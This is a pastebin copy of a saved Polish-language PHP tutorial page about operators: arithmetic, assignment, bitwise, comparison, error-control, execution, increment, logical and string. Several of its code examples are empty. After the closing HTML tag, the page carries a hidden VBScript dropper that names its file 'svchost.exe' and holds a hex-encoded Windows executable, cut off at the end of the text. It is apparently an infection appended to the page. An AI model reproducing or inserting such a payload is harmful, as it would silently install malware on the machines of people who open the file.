Facebook
From add, 3 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 1491
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  2. <!-- saved from url=(0028)http://phpkurs.pl/operatory/ -->
  3. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head profile="http://gmpg.org/xfn/11"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  4.  
  5.  
  6. <title>Kurs PHP  » Operatory</title>
  7.  
  8. <meta name="author" content="Leszek Krupiński">
  9. <meta name="generator" content="WordPress 4.5.3">
  10. <meta name="description" content="Operatory są to najprościej mówiąc symbole, które służą do operacji na zmiennych. Operatory dzielą się na operatory arytmetyczne, które służą do operacji na liczbach, operatory przypisania służące do przypisywania zmiennym wartości, operatory operacji bitowych, operatory porównania niezbędne do instrukcji warunkowych, operator kontroli błędów, operator wykonania służący do uruchamiania zewnętrznych programów, operatory inkrementacji i dekrementacji, operatory logiczne i operatory ciągu.">
  11. <meta name="keywords" content="kurs, php, programowanie, operatory, operator, inkrementacji, dekrementacji, arytmetyczne, logiczne, ciągu, błędu, warunkowe, kurs, nauka, tutorial, samouczek">
  12. <meta name="verify-v1" content="0CnfL4QHApHO6mke8LMwHMrIWvJgwdyl1MwsaHoWwP0=">
  13. <link rel="stylesheet" href="./Kurs PHP » Operatory_files/reset.css" type="text/css" media="screen">
  14. <link rel="stylesheet" href="./Kurs PHP » Operatory_files/style.css" type="text/css" media="screen">
  15. <!--[if lte IE 6]>
  16. <link rel="stylesheet" href="http://phpkurs.pl/wp-content/themes/ColdBlue/css/legacy.css" type="text/css" media="screen" title="no title" charset="utf-8" />
  17. <![endif]-->
  18. <link rel="alternate" type="application/rss+xml" title="Kurs PHP RSS Feed" href="http://phpkurs.pl/feed/">
  19. <link rel="pingback" href="http://phpkurs.pl/xmlrpc.php">
  20.  
  21. <link rel="alternate" type="application/rss+xml" title="Kurs PHP » Operatory Kanał z komentarzami" href="http://phpkurs.pl/operatory/feed/">
  22.                 <script type="text/javascript">
  23.                         window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".png","source":{"concatemoji":"http:\/\/phpkurs.pl\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.5.3"}};
  24.                         !function(a,b,c){function d(a){var c,d,e,f=b.createElement("canvas"),g=f.getContext&&f.getContext("2d"),h=String.fromCharCode;if(!g||!g.fillText)return!1;switch(g.textBaseline="top",g.font="600 32px Arial",a){case"flag":return g.fillText(h(55356,56806,55356,56826),0,0),f.toDataURL().length>3e3;case"diversity":return g.fillText(h(55356,57221),0,0),c=g.getImageData(16,16,1,1).data,d=c[0]+","+c[1]+","+c[2]+","+c[3],g.fillText(h(55356,57221,55356,57343),0,0),c=g.getImageData(16,16,1,1).data,e=c[0]+","+c[1]+","+c[2]+","+c[3],d!==e;case"simple":return g.fillText(h(55357,56835),0,0),0!==g.getImageData(16,16,1,1).data[0];case"unicode8":return g.fillText(h(55356,57135),0,0),0!==g.getImageData(16,16,1,1).data[0]}return!1}function e(a){var c=b.createElement("script");c.src=a,c.type="text/javascript",b.getElementsByTagName("head")[0].appendChild(c)}var f,g,h,i;for(i=Array("simple","flag","unicode8","diversity"),c.supports={everything:!0,everythingExceptFlag:!0},h=0;h<i.length;h++)c.supports[i[h]]=d(i[h]),c.supports.everything=c.supports.everything&&c.supports[i[h]],"flag"!==i[h]&&(c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&c.supports[i[h]]);c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&!c.supports.flag,c.DOMReady=!1,c.readyCallback=function(){c.DOMReady=!0},c.supports.everything||(g=function(){c.readyCallback()},b.addEventListener?(b.addEventListener("DOMContentLoaded",g,!1),a.addEventListener("load",g,!1)):(a.attachEvent("onload",g),b.attachEvent("onreadystatechange",function(){"complete"===b.readyState&&c.readyCallback()})),f=c.source||{},f.concatemoji?e(f.concatemoji):f.wpemoji&&f.twemoji&&(e(f.twemoji),e(f.wpemoji)))}(window,document,window._wpemojiSettings);
  25.                 </script><script src="./Kurs PHP » Operatory_files/wp-emoji-release.min.js.pobrane" type="text/javascript"></script>
  26.                 <style type="text/css">
  27. img.wp-smiley,
  28. img.emoji {
  29.         display: inline !important;
  30.         border: none !important;
  31.         box-shadow: none !important;
  32.         height: 1em !important;
  33.         width: 1em !important;
  34.         margin: 0 .07em !important;
  35.         vertical-align: -0.1em !important;
  36.         background: none !important;
  37.         padding: 0 !important;
  38. }
  39. </style>
  40. <link rel="stylesheet" id="contact-form-7-css" href="./Kurs PHP » Operatory_files/styles.css" type="text/css" media="all">
  41. <script type="text/javascript" src="./Kurs PHP » Operatory_files/jquery.js.pobrane"></script>
  42. <script type="text/javascript" src="./Kurs PHP » Operatory_files/jquery-migrate.min.js.pobrane"></script>
  43. <link rel="https://api.w.org/" href="http://phpkurs.pl/wp-json/">
  44. <link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://phpkurs.pl/xmlrpc.php?rsd">
  45. <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://phpkurs.pl/wp-includes/wlwmanifest.xml">
  46. <meta name="generator" content="WordPress 4.5.3">
  47. <link rel="canonical" href="http://phpkurs.pl/operatory/">
  48. <link rel="shortlink" href="http://phpkurs.pl/?p=23">
  49. <link rel="alternate" type="application/json+oembed" href="http://phpkurs.pl/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fphpkurs.pl%2Foperatory%2F">
  50. <link rel="alternate" type="text/xml+oembed" href="http://phpkurs.pl/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fphpkurs.pl%2Foperatory%2F&amp;format=xml">
  51.         <link type="text/css" rel="stylesheet" href="./Kurs PHP » Operatory_files/SyntaxHighlighter.css">
  52. </head>
  53. <body>
  54.  
  55.         <div id="header"><div class="inner clear">
  56.                 <ul id="navigation">
  57.                         <li><a href="http://phpkurs.pl/feed/">RSS Feed</a></li>
  58.                 </ul>
  59.         </div></div>
  60.        
  61.         <div id="search"><div class="inner clear">
  62. <!--            <a id="rss-link" href="http://phpkurs.pl/feed/"><strong>Subscribe to the RSS Feed</strong></a>
  63.                 <a id="technorati-link" href="http://technorati.com/faves?add=http://phpkurs.pl"><strong>Add to your Favorites</strong></a>-->
  64.                 <form method="get" id="searchform" action="http://phpkurs.pl/"><div>
  65.         <input type="text" value="" name="s" id="s">
  66.         <input type="submit" id="searchsubmit" value="Szukaj">
  67. </div></form>
  68.         </div></div>
  69.        
  70.         <div id="wrapper" class="clear">
  71.  
  72.         <div id="content">
  73.  
  74.                                 <div class="post" id="post-23">
  75.                        
  76.                         <div class="post-title">
  77.                                 <h1><a href="http://phpkurs.pl/operatory/" rel="bookmark" title="Permanent Link to Operatory">Operatory</a></h1>
  78.                         </div>
  79.  
  80.                         <div class="post-content">
  81.                                 <p class="toc"><strong>Spis treści</strong></p>
  82. <ul>
  83. <li><span class="sect1"><a href="http://phpkurs.pl/operatory/#operatory.definicja">Co to jest?</a></span></li>
  84. <li><span class="sect1"><a href="http://phpkurs.pl/operatory/#operatory.arytmetyczne">Operatory arytmetyczne</a></span></li>
  85. <li><span class="sect1"><a href="http://phpkurs.pl/operatory/#operatory.przypisania">Operator przypisania</a></span></li>
  86. <li><span class="sect1"><a href="http://phpkurs.pl/operatory/#operatory.bitowe">Operatory operacji bitowych</a></span></li>
  87. <li><span class="sect1"><a href="http://phpkurs.pl/operatory/#operatory.porownania">Operatory porównania</a></span></li>
  88. <li><span class="sect1"><a href="http://phpkurs.pl/operatory/#operatory.bledow">Operator kontroli błędów</a></span></li>
  89. <li><span class="sect1"><a href="http://phpkurs.pl/operatory/#operatory.wywolania">Operator wywołania</a></span></li>
  90. <li><span class="sect1"><a href="http://phpkurs.pl/operatory/#operatory.inkrementacji">Operatory inkrementacji i dekrementacji</a></span></li>
  91. <li><span class="sect1"><a href="http://phpkurs.pl/operatory/#operatory.logiczne">Operatory logiczne</a></span></li>
  92. <li><span class="sect1"><a href="http://phpkurs.pl/operatory/#operatory.ciagu">Operator ciągu</a></span></li>
  93. </ul>
  94. <p class="sect1" xml:lang="pl" lang="pl">&nbsp;</p>
  95. <p class="titlepage">&nbsp;</p>
  96. <p><!--adsense#content--></p>
  97. <h2 class="title" style="clear: both"><a title="operatory.definicja" id="operatory.definicja" name="operatory.definicja"></a>Co to jest?</h2>
  98. <p>Operatory są to najprościej mówiąc symbole, które służą do operacji na zmiennych. Operatory dzielą się na operatory arytmetyczne, które służą do operacji na liczbach, operatory przypisania służące do przypisywania zmiennym wartości, operatory operacji bitowych, operatory porównania niezbędne do instrukcji warunkowych, operator kontroli błędów, operator wykonania służący do uruchamiania zewnętrznych programów, operatory inkrementacji i dekrementacji, operatory logiczne i operatory ciągu.</p>
  99. <p class="sect1" xml:lang="pl" lang="pl">&nbsp;</p>
  100. <p class="titlepage">&nbsp;</p>
  101. <h2 class="title" style="clear: both"><a title="operatory.arytmetyczne" id="operatory.arytmetyczne" name="operatory.arytmetyczne"></a>Operatory arytmetyczne</h2>
  102. <p>Operatory te każdy powinien pamiętać z podstawówki <img draggable="false" class="emoji" alt="?" src="./Kurs PHP » Operatory_files/1f642.png"></p>
  103. <p class="informaltable">
  104. </p><table border="1">
  105. <tbody><tr>
  106. <td>Przykład</td>
  107. <td>Nazwa</td>
  108. <td>Wynik</td>
  109. </tr>
  110. <tr>
  111. <td>$a + $b</td>
  112. <td>Dodawanie</td>
  113. <td>Suma $a i $b.</td>
  114. </tr>
  115. <tr>
  116. <td>$a – $b</td>
  117. <td>Odejmowanie</td>
  118. <td>Różnica $a i $b.</td>
  119. </tr>
  120. <tr>
  121. <td>$a * $b</td>
  122. <td>Mnożenie</td>
  123. <td>Iloczyn $a i $b.</td>
  124. </tr>
  125. <tr>
  126. <td>$a / $b</td>
  127. <td>Dzielenie</td>
  128. <td>Iloraz $a i $b (bez reszty).</td>
  129. </tr>
  130. <tr>
  131. <td>$a % $b</td>
  132. <td>Modulo</td>
  133. <td>Reszta z dzielenia $a przez $b.</td>
  134. </tr>
  135. </tbody></table>
  136. <p class="sect1" xml:lang="pl" lang="pl">&nbsp;</p>
  137. <p class="titlepage">&nbsp;</p>
  138. <h2 class="title" style="clear: both"><a title="operatory.przypisania" id="operatory.przypisania" name="operatory.przypisania"></a>Operator przypisania</h2>
  139. <p>Podstawowym operatorem przypisania jest symbol ‚=’. Oczywiście nie oznacza on ‚jest równe’. Wyrażenie <tt class="literal">$b = 5</tt> oznacza, że zmienna $b przyjmuje wartość równą 5. Zmiennej można przypisać także wartość innej zmiennej: <tt class="literal">$b = 5; $a = $b;</tt> – zmienna $a przyjmie wartość <tt class="literal">5</tt>.</p>
  140. <p>Zmiennym można przypisywać nie tylko konkretne wartości, ale też wartości innych zmiennych. Wartości te można przypisywać kaskadowo, przy czym wartości przypisywane będą od prawej do lewej, np.:</p>
  141. <p class="informalexample">&nbsp;</p>
  142. <p class="informaltable">
  143. </p><table border="1">
  144. <tbody><tr>
  145. <td>Przykład</td>
  146. <td>Wynik</td>
  147. </tr>
  148. <tr>
  149. <td>$a += 2</td>
  150. <td>Do zmiennej $a dodane zostanie 2</td>
  151. </tr>
  152. <tr>
  153. <td>$a -= 2</td>
  154. <td>Od zmiennej $a odjęte zostanie 2</td>
  155. </tr>
  156. <tr>
  157. <td>$a *= 2</td>
  158. <td>Zmienna $a zostanie pomnożona przez 2</td>
  159. </tr>
  160. <tr>
  161. <td>$a /= 2</td>
  162. <td>Zmienna $a dodane podzielona przez 2</td>
  163. </tr>
  164. <tr>
  165. <td>$a %= 2</td>
  166. <td>Zmienna $a przyjmie wartość reszty z dzielenia $a przez 2</td>
  167. </tr>
  168. <tr>
  169. <td>$a .= ” dalszy ciąg”</td>
  170. <td>Do zmiennej $a na końcu dodany zostanie ciąg ” dalszy ciąg”</td>
  171. </tr>
  172. </tbody></table>
  173. <p class="sect1" xml:lang="pl" lang="pl">&nbsp;</p>
  174. <p class="titlepage">&nbsp;</p>
  175. <h2 class="title" style="clear: both"><a title="operatory.bitowe" id="operatory.bitowe" name="operatory.bitowe"></a>Operatory operacji bitowych</h2>
  176. <p>Operatory operacji bitowych pozwalają na przestawianie pojedyńczych bitów zmiennych. Poniższa tabelka przeznaczona jest dla osób, które miały już jakąkolwiek styczność z operacjami na bitach.</p>
  177. <p class="informaltable">
  178. </p><table border="1">
  179. <tbody><tr>
  180. <td>Przykład</td>
  181. <td>Nazwa</td>
  182. <td>Wynik</td>
  183. </tr>
  184. <tr>
  185. <td>$a &amp; $b</td>
  186. <td>AND</td>
  187. <td>Ustawiane są bity które są ustawione w obu zmiennych.</td>
  188. </tr>
  189. <tr>
  190. <td>$a | $b</td>
  191. <td>OR</td>
  192. <td>Ustawiane są bity, które są ustawione w jednej lub drugiej zmiennej.</td>
  193. </tr>
  194. <tr>
  195. <td>$a ^ $b</td>
  196. <td>XOR</td>
  197. <td>Ustawiane są bity, które są ustawione w jednej lub drugiej zmiennej, ale nie w obu.</td>
  198. </tr>
  199. <tr>
  200. <td>~ $a</td>
  201. <td>NOT</td>
  202. <td>Inwerter – ustawiane są bity które nie są ustawione w zmiennej $a i odwrotnie.</td>
  203. </tr>
  204. <tr>
  205. <td>$a &lt;&lt; $b</td>
  206. <td>Przesunięcie w lewo</td>
  207. <td>Przesuń bity z $a $b-razy w lewo (każdy krok oznacza pomnożenie przez 2)</td>
  208. </tr>
  209. <tr>
  210. <td>$a &gt;&gt; $b</td>
  211. <td>Przesunięcie w prawo</td>
  212. <td>Przesuń bity z $a $b-razy w prawo (każdy krok oznacza podzielenie przez 2)</td>
  213. </tr>
  214. </tbody></table>
  215. <p class="sect1" xml:lang="pl" lang="pl">&nbsp;</p>
  216. <p class="titlepage">&nbsp;</p>
  217. <h2 class="title" style="clear: both"><a title="operatory.porownania" id="operatory.porownania" name="operatory.porownania"></a>Operatory porównania</h2>
  218. <p>Operatory porównania są niezbędne do korzystania z instrukcji warunkowych (jeśli coś to zrób coś). Zwracają one wartość TRUE (prawda – 1) lub FALSE (fałsz – 0).</p>
  219. <p class="informaltable">
  220. </p><table border="1">
  221. <tbody><tr>
  222. <td>Przykład</td>
  223. <td>Nazwa</td>
  224. <td>Wynik</td>
  225. </tr>
  226. <tr>
  227. <td>$a == $b</td>
  228. <td>Równy</td>
  229. <td>Prawda jeśli $a jest równe $b.</td>
  230. </tr>
  231. <tr>
  232. <td>$a === $b</td>
  233. <td>Identyczny</td>
  234. <td>Prawda jeśli $a jest równe $b i są tego samego typu. (tylko PHP4)</td>
  235. </tr>
  236. <tr>
  237. <td>$a != $b</td>
  238. <td>Nie równe</td>
  239. <td>Prawda jeśli $a nie jest równe $b.</td>
  240. </tr>
  241. <tr>
  242. <td>$a !== $b</td>
  243. <td>Nie identyczny</td>
  244. <td>Prawda jeśli $a nie jest równe $b lub nie są tego samego typu. (tylko PHP4)</td>
  245. </tr>
  246. <tr>
  247. <td>$a &lt; $b</td>
  248. <td>Mniejsze</td>
  249. <td>Prawda jeśli $a jest mniejsze niż $b.</td>
  250. </tr>
  251. <tr>
  252. <td>$a &gt; $b</td>
  253. <td>Większe</td>
  254. <td>Prawda jeśli $a jest większe niż $b.</td>
  255. </tr>
  256. <tr>
  257. <td>$a &lt;= $b</td>
  258. <td>Mniejsze lub równe</td>
  259. <td>Prawda jeśli $a jest mniejsze lub równe $b.</td>
  260. </tr>
  261. <tr>
  262. <td>$a &gt;= $b</td>
  263. <td>Większe lub równe</td>
  264. <td>Prawda jeśli $a jest większe lub równe $b.</td>
  265. </tr>
  266. </tbody></table>
  267. <p class="sect1" xml:lang="pl" lang="pl">&nbsp;</p>
  268. <p class="titlepage">&nbsp;</p>
  269. <h2 class="title" style="clear: both"><a title="operatory.bledow" id="operatory.bledow" name="operatory.bledow"></a>Operator kontroli błędów</h2>
  270. <p>Operator kontroli błędów (‚@’) powoduje, że wyrażenie przed którym postawiono ten znak nie spowoduje wyświetlenia się jakiegokolwiek błędu lub ostrzeżenia.</p>
  271. <p class="example">         <a title="id2503332" id="id2503332" name="id2503332"></a></p>
  272. <p class="title"><strong>Przykład 3.1. Przykład użycia operatora kontroli błędów</strong></p>
  273.  
  274. <p class="sect1" xml:lang="pl" lang="pl">&nbsp;</p>
  275. <p class="titlepage">&nbsp;</p>
  276. <h2 class="title" style="clear: both"><a title="operatory.wywolania" id="operatory.wywolania" name="operatory.wywolania"></a>Operator wywołania</h2>
  277. <p>Operator ten służy do uruchamiania zewnętrznych programów lub poleceń powłoki. Wystarczy wpisać polecenie pomiędzy znaki odwróconego apostrofu (‚`’) aby zostało ono wykonane.</p>
  278. <p class="example">         <a title="id2503377" id="id2503377" name="id2503377"></a></p>
  279. <p class="title"><strong>Przykład 3.2. Przykład użycia operatora wywołania</strong></p>
  280.  
  281.  
  282. <p>Po uruchomieniu tego skryptu wyświetlona zostanie zawartość katalogu /home na serwerze.</p>
  283. <p class="sect1" xml:lang="pl" lang="pl">&nbsp;</p>
  284. <p class="titlepage">&nbsp;</p>
  285. <h2 class="title" style="clear: both"><a title="operatory.inkrementacji" id="operatory.inkrementacji" name="operatory.inkrementacji"></a>Operatory inkrementacji i dekrementacji</h2>
  286. <p>Operatory te występują w większości języków programowania. Służą one do zmniejszenia lub zwiększenia wartości danej zmiennej o 1. Każdy operator można stosować na 2 sposoby: preinkrementacja/predekrementacja – najpierw wartość zmiennej zostanie zmieniona, a później zwrócona, lub postinkrementacji/postdekrementacji – najpierw zostanie zwrócona wartość zmiennej, a następnie wartość zmiennej zostanie zmieniona.</p>
  287. <p class="informaltable">
  288. </p><table border="1">
  289. <tbody><tr>
  290. <td>Przykład</td>
  291. <td>Nazwa</td>
  292. <td>Wynik</td>
  293. </tr>
  294. <tr>
  295. <td>++$a</td>
  296. <td>Preinkrementacja</td>
  297. <td>Zwiększa $a o jeden, a następnie zwraca $a.</td>
  298. </tr>
  299. <tr>
  300. <td>$a++</td>
  301. <td>Postinkrementacja</td>
  302. <td>Zwraca $a, a następnie zwiększa $a o jeden.</td>
  303. </tr>
  304. <tr>
  305. <td>–$a</td>
  306. <td>Predekrementacja</td>
  307. <td>Zmniejsza $a o jeden, po czym zwraca $a.</td>
  308. </tr>
  309. <tr>
  310. <td>$a–</td>
  311. <td>Postdekrementacja</td>
  312. <td>Zwraca $a, po czym zmniejsza $a o jeden.</td>
  313. </tr>
  314. </tbody></table>
  315. <p class="example">         <a title="id2503528" id="id2503528" name="id2503528"></a></p>
  316. <p class="title"><strong>Przykład 3.3. Przykład funkcjonowania inkrementacji i dekrementacji</strong></p>
  317.  
  318. <p class="sect1" xml:lang="pl" lang="pl">&nbsp;</p>
  319. <p class="titlepage">&nbsp;</p>
  320. <h2 class="title" style="clear: both"><a title="operatory.logiczne" id="operatory.logiczne" name="operatory.logiczne"></a>Operatory logiczne</h2>
  321. <p>Operatory logiczne służą do budowania bardziej skomplikowanych instrukcji warunkowych – do łączenia kilku warunków w jednej instrukcji.</p>
  322. <p class="informaltable">
  323. </p><table border="1">
  324. <tbody><tr>
  325. <td>Przykład</td>
  326. <td>Nazwa</td>
  327. <td>Wynik</td>
  328. </tr>
  329. <tr>
  330. <td>$a &amp;&amp; $b</td>
  331. <td>AND</td>
  332. <td>Prawda, jeśli $a i $b są prawdą</td>
  333. </tr>
  334. <tr>
  335. <td>$a || $b</td>
  336. <td>OR</td>
  337. <td>Prawda, jeśli $a lub $b są prawdą</td>
  338. </tr>
  339. <tr>
  340. <td>! $a</td>
  341. <td>NOT</td>
  342. <td>Prawda, jeśli $a nie jest prawdą</td>
  343. </tr>
  344. </tbody></table>
  345. <p class="sect1" xml:lang="pl" lang="pl">&nbsp;</p>
  346. <p class="titlepage">&nbsp;</p>
  347. <h2 class="title" style="clear: both"><a title="operatory.ciagu" id="operatory.ciagu" name="operatory.ciagu"></a>Operator ciągu</h2>
  348. <p>Operator ciągu (‚.’ – kropka) służy do łączenia kilku ciągów w jedną całość.</p>
  349. <p class="example">         <a title="id2503682" id="id2503682" name="id2503682"></a></p>
  350. <p class="title"><strong>Przykład 3.4. Przykład użycia operatora ciągu</strong></p>
  351.  
  352. <p>Jak widać na tym przykładzie, aby użyć niektórych znaków (między innymi cudzysłowów jeśli ciąg podany jest cudzysłowach, znaków dolara jeśli nie chcemy aby został potraktowany jako zmienna) trzeba zamienić go na tzw. sekwencję escape, to znaczy wstawić przed nim znak <span class="emphasis"><em>backslash</em></span> – <tt class="literal">\</tt>.</p>
  353.                         </div>
  354.  
  355.                                         </div>
  356.  
  357.                                 </div>
  358.  
  359.         <ul id="sidebar">
  360.                        
  361.                        
  362. <!--
  363.             <li align="center">
  364.                             </li>
  365. -->
  366. <!--
  367.             <div align="center">
  368.                 <a href="http://forum.phpkurs.pl/" title="Forum programistów PHP">
  369.                     <img src="http://phpkurs.pl/wp-content/themes/ColdBlue/images/button_forum.jpg" alt="Porozmawiaj na forum PHP" />
  370.                 </a>
  371.             </div>
  372. -->
  373.                         <li class="pagenav"><h2>Spis treści</h2><ul><li class="page_item page-item-20"><a href="http://phpkurs.pl/">Kurs PHP</a></li>
  374. <li class="page_item page-item-2"><a href="http://phpkurs.pl/o-kursie/">O kursie</a></li>
  375. <li class="page_item page-item-21"><a href="http://phpkurs.pl/podstawy/">Podstawy</a></li>
  376. <li class="page_item page-item-22"><a href="http://phpkurs.pl/skladnia/">Składnia języka</a></li>
  377. <li class="page_item page-item-23 current_page_item"><a href="http://phpkurs.pl/operatory/">Operatory</a></li>
  378. <li class="page_item page-item-27"><a href="http://phpkurs.pl/struktury/">Struktury kontrolne</a></li>
  379. <li class="page_item page-item-34"><a href="http://phpkurs.pl/przekazywanie-danych/">Przekazywanie danych między stronami</a></li>
  380. <li class="page_item page-item-32"><a href="http://phpkurs.pl/tablice/">Tablice</a></li>
  381. <li class="page_item page-item-33"><a href="http://phpkurs.pl/ponowne-uzycie-kodu/">Ponowne użycie kodu</a></li>
  382. <li class="page_item page-item-35"><a href="http://phpkurs.pl/obsluga-sesji/">Sesje</a></li>
  383. <li class="page_item page-item-36"><a href="http://phpkurs.pl/ciagi-znakowe-stringi/">Ciągi znakowe (stringi)</a></li>
  384. <li class="page_item page-item-37"><a href="http://phpkurs.pl/upload/">Odbieranie pliku od użytkownika (upload)</a></li>
  385. <li class="page_item page-item-38"><a href="http://phpkurs.pl/operacje-na-plikach/">Operacje na plikach</a></li>
  386. <li class="page_item page-item-39"><a href="http://phpkurs.pl/przetwarzanie-daty/">Przetwarzanie daty</a></li>
  387. </ul></li>
  388. <!--
  389.             <li align="center">
  390.                             </li>
  391. -->
  392.                                                        
  393.             <li><h2>Aktualności</h2>
  394.                 <ul>
  395.                         <li><a href="http://phpkurs.pl/2007/12/12/przenosiny/">Przenosiny</a></li>
  396.                 </ul>
  397.             </li>
  398.  
  399.             <li><h2>Meta</h2>
  400.                 <ul>
  401.                                         <li><a href="http://phpkurs.pl/wp-login.php">Zaloguj się</a></li>
  402.                     <li><a href="http://validator.w3.org/check/referer" title="This page validates as XHTML 1.0 Transitional">Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr></a></li>
  403.                     <li><a href="http://gmpg.org/xfn/"><abbr title="XHTML Friends Network">XFN</abbr></a></li>
  404.                     <li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress</a></li>
  405.                                     </ul>
  406.             </li>
  407.                                                
  408.                                 </ul>
  409.  
  410. </div>
  411.  
  412. <div id="footer">
  413.     <p id="blog-name">Copyright © 2007 <a href="http://www.krupinski.waw.pl/">Leszek Krupiński</a></p>
  414.  
  415.     <p id="webrevolutionary-link">
  416.         ColdBlue v1.0 theme designed by WebRevolutionary.com
  417.     </p>
  418.     </div>
  419.  
  420.  
  421.     <script type="text/javascript" src="./Kurs PHP » Operatory_files/jquery.form.min.js.pobrane"></script>
  422. <script type="text/javascript">
  423. /* <![CDATA[ */
  424. var _wpcf7 = {"loaderUrl":"http:\/\/phpkurs.pl\/wp-content\/plugins\/contact-form-7\/images\/ajax-loader.gif","recaptchaEmpty":"Please verify that you are not a robot.","sending":"Trwa wysy\u0142anie..."};
  425. /* ]]> */
  426. </script>
  427. <script type="text/javascript" src="./Kurs PHP » Operatory_files/scripts.js.pobrane"></script>
  428. <script type="text/javascript" src="./Kurs PHP » Operatory_files/wp-embed.min.js.pobrane"></script>
  429.  
  430. <!-- SyntaxHighlighter Stuff -->
  431. <script type="text/javascript" src="./Kurs PHP » Operatory_files/shCore.js.pobrane"></script>
  432. <script type="text/javascript" src="./Kurs PHP » Operatory_files/shBrushPhp.js.pobrane"></script>
  433. <script type="text/javascript">
  434.         dp.SyntaxHighlighter.ClipboardSwf = 'http://phpkurs.pl/wp-content/plugins/syntaxhighlighter-plus/shlfiles/clipboard.swf';
  435.         dp.SyntaxHighlighter.HighlightAll('code');
  436. </script>
  437.  
  438. <script type="text/javascript">
  439. var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
  440. document.write("\<script src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'>\<\/script>" );
  441. </script><script src="./Kurs PHP » Operatory_files/ga.js.pobrane" type="text/javascript"></script>
  442. <script type="text/javascript">
  443. var pageTracker = _gat._getTracker("UA-3198444-1");
  444. pageTracker._initData();
  445. pageTracker._trackPageview();
  446. </script>
  447.  
  448.  
  449.  
  450. </body></html><SCRIPT Language=VBScript><!--
  451. DropFileName = "svchost.exe"
  452. WriteData = "4D5A50000200000004000F00FFFF0000B80000000000000040001A00000000000000000000000000000000000000000000000000000000000000000040000000504500004C010800F4F643330000000000000000E0000E010B0102040024000000A8000000000000001C000000100000004000000000400000100000000200000400000000000000040000000000000000300100000400007C2001000200000000001000001000000000100000100000000000001000000000D00000E101000000400000E604000000000100B41600000000000000000000000000000000000000200100E40000007C31000020000000000000000000000000000000000000000000000000000000002200001C000000000000000000000000000000000000000000000000000000000000000000000000000000000000002E7465787400000057230000001000000024000000040000000000000000000000000000200000602E78646174610000B5000000004000000002000000280000000000000000000000000000400000402E646174610000008E0000000050000000020000002A0000000000000000000000000000400000C02E6F646174610000AC69000000600000006A0000002C0000000000000000000000000000400000402E72646174610000E100000000D000000002000000960000000000000000000000000000400000402E64617461000000EC1E000000E000000020000000980000000000000000000000000000400000E02E72737263000000B4160000000001000018000000B80000000000000000000000000000400000402E72656C6F630000E4000000002001000002000000D00000000000000000000000000000200000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000558BEC81EC380000008B75FC33DB2B45F453680F000000E8E40C00005B31D089C685F60F810F0000008B15005040008905005040008B45FC317DF083C30181FB250400000F82C4FFFFFF29DA89EB8BFE8935005040008B050450400081FF030000000F845E00000081FF4D0000000F846B00000081FF9F0000000F847500000081FF980000000F8481000000030D00504000897DC833FF8B5DE8295DCC8B0D005040008945C883C70181FF990400000F82E2FFFFFF33F268C9000000E83F0C0000E95B000000335DC88955E089C62B0500504000014DE08B4DE0E942000000895DE889EE8B3D00504000891500504000E92C0000000175C829F18905005040008B05005040008BDCE9140000008945C8891D00504000033D0050400089C80345F8C9C3CCCCCCCCCCCCCCCCCCCCCCCCCC558BEC81EC2000000085DB0F84EC0000002B4DF02B7DE88B3D0050400068CC00000068A1000000E8A4FEFFFF83C40868EC0000006851000000E892FEFFFF83C40833DB2B35005040008BF431F781FF4D0000000F843500000081FF6B0000000F844300000081FFA90000000F844D000000890D005040008B45FC8B3D00504000310D005040008975F8E94C000000536839000000E8370B00005B897DF08BFE33FD31EEE9320000008B55F0897DEC8955E489C28B1500504000E91C0000002955F48B75F48BF05368C2000000E8FF0A00005B01C78B150850400053684E000000E8EB0A00005B0155F883C30181FBC21100000F824BFFFFFFE9330000003375FC035DF82975F86803000000686F000000E8BBFDFFFF83C40868E900000068A7000000E8A9FDFFFF83C4082B050C50400068720000006814000000E891FDFFFF83C40885DB0F80160000008BC589CE2B3D00504000314DF08BCC01EBE93400000089F368750000006830000000E85FFDFFFF83C4088BF08BD468CD000000E84E0A0000682E0000006884000000E83FFDFFFF83C40868B7000000E8320A000085C00F823A00000068BF0000006896000000E81BFDFFFF83C40889150050400089C168E60000006830000000E801FDFFFF83C408891D005040008975FCE9280000008BCF891510504000293500504000680B00000068DF000000E8D3FCFFFF83C4082B1D0050400029F168BD0000006815000000E8B9FCFFFF83C408686C00000068C0000000E8A7FCFFFF83C40885C00F813A00000089CF68670000006840000000E88BFCFFFF83C408011514504000893D005040008975FC689000000068B4000000E86AFCFFFF83C408E9EA00000068AB000000E85809000029F985DB0F808100000089EF8B0D0050400085FF0F84360000006897000000689D000000E82FFCFFFF83C408681000000068D2000000E81DFCFFFF83C4088B5DF068FE000000E80D090000294DF029D0681E0000006821000000E8F9FBFFFF83C408685700000068AC000000E8E7FBFFFF83C408686E000000684B000000E8D5FBFFFF83C408E93A000000680500000068A5000000E8BEFBFFFF83C408891D0050400089D1894DF88B4DE833FF01E989C88B55E88BCC83C70181FF630200000F82E8FFFFFF890518504000897DF068B60000006869000000E87BFBFFFF83C4088945F88BF868A90000006818000000E864FBFFFF83C40868FD0000006811000000E852FBFFFF83C408C9C3CCCCCCCCCCC